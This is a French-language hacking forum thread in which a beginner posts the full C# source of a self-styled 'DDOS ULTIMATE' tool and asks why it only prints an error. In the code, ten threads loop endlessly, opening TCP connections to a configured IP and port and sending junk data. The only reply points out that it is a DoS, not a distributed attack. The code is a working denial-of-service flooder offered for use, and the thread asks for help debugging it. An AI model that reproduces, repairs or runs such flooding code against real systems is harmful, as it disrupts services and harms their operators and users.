logo Homepage
+  NewbieContest
|-+  Divers» Hacking» [DDOS] il ne m'affiche que Erreur
Username:
Password:
Pages: [1]
  Imprimer  
Auteur Fil de discussion: [DDOS] il ne m'affiche que Erreur  (Lu 2344 fois)
Xx-mister

Profil challenge

Classement : 1109/54254

Néophyte
*
Hors ligne Hors ligne
Messages: 12


Voir le profil
« le: 05 Février 2012 à 15:26:10 »

Bonjour, je viens de coder un DDOS en c# pour m'entrainer avec les socket, thread et compagnie x)
le problème c'est que ce dernier ne fait que m'afficher Erreur pourtant le deboguer n'affiche aucune exception.
je m'en remet donc à vous pour m'aider à corriger mon problème

Voici mon code source :

Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.Net;
using System.IO;
using System.Configuration;

namespace ConsoleApplication4
{
    class Program
    {

        public delegate void delegateType(string Ip, int Port);

        public static void DoMethodWithDelegate(delegateType action)
        {
            Console.Write("\n Adresse Ip : ");
            string Ip = Console.ReadLine();
            Console.Write("\n Port de connexion : ");
            int Port = Convert.ToInt32(Console.ReadLine());
            action(Ip, Port);
        }
 


        static void Main(string[] args)
        {
            Console.Title = "DDOS ULTIMATE";

            Console.WriteLine("##############################################################\n");
            Console.WriteLine("################     DDOS ULTIMATE BY Xx-mister     #################\n");
            Console.WriteLine("##############################################################\n");
          
            Console.WriteLine("\n \n l'Adresse IP qui vas subir l'attaque DDOS est celle indiquer");
            Console.WriteLine("\n Dans le fichier app.config");
            Console.WriteLine("\n Appuyez sur une touche pour continuer");
            Console.ReadKey(true);
          

          
          


            Thread th1 = new Thread(DDOS_Run);
            Console.WriteLine("\n Thread 1 ok ! \n");
            Thread th2 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 2 ok ! \n");
            Thread th3 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 3 ok ! \n");
            Thread th4 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 4 ok ! \n");
            Thread th5 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 5 ok ! \n");
            Thread th6 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 6 ok ! \n");
            Thread th7 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 7 ok ! \n");
            Thread th8 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 8 ok ! \n");
            Thread th9 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 9 ok ! \n");
            Thread th10 = new Thread(DDOS_Run);
            Console.WriteLine("Thread 10 ok ! \n");

        
            th1.Start();
            Console.WriteLine("Thread 1 lancé ! \n");
            th2.Start();
            Console.WriteLine("Thread 2 lancé ! \n");
            th3.Start();
            Console.WriteLine("Thread 3 lancé ! \n");
            th4.Start();
            Console.WriteLine("Thread 4 lancé ! \n");
            th5.Start();
            Console.WriteLine("Thread 5 lancé ! \n");
            th6.Start();
            Console.WriteLine("Thread 6 lancé ! \n");
            th7.Start();
            Console.WriteLine("Thread 7 lancé ! \n");
            th8.Start();
            Console.WriteLine("Thread 8 lancé ! \n");
            th9.Start();
            Console.WriteLine("Thread 9 lancé ! \n");
            th10.Start();
            Console.WriteLine("Thread 10 lancé ! \n");

            Console.ReadKey(true);
          
        }

        static void DDOS_Run()
        {
            while (true)
            {

                string Ip = ConfigurationManager.AppSettings["IP"];
                int Port =  Convert.ToInt32(ConfigurationManager.AppSettings["PORT"]);


                Socket sock1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                string m = ("tuvascoulersoustoutemesololkikoorequetedelamortquituuenfoisxd");
                byte[] data = System.Text.Encoding.UTF8.GetBytes(m);
                try
                {
                    sock1.Connect(Ip, Port);
                    sock1.Send(data, 0, data.Length, SocketFlags.None);
                }
                catch
                {
                    Console.WriteLine("Erreur =)");
                }
            }
        }

    }
}

Merci d'avance
Journalisée
Asteriksme
Modérateur Global

Profil challenge

Classement : 37/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 785

.


Voir le profil WWW
« #1 le: 05 Février 2012 à 16:57:37 »

le premier D de DDoS, ça veut dire "distribué" en français non ?
Journalisée

"It's a funny thing about some mathematicians. We often don't care if the results have applications because the results are themselves so pretty."
Xx-mister

Profil challenge

Classement : 1109/54254

Néophyte
*
Hors ligne Hors ligne
Messages: 12


Voir le profil
« #2 le: 05 Février 2012 à 17:11:15 »

DDOS pour Distributed Denial Of Service donc Oui
La vocation premiere de se **orthographe !** est plus exectament un dos
Journalisée
Pages: [1]
  Imprimer  
 
Aller à: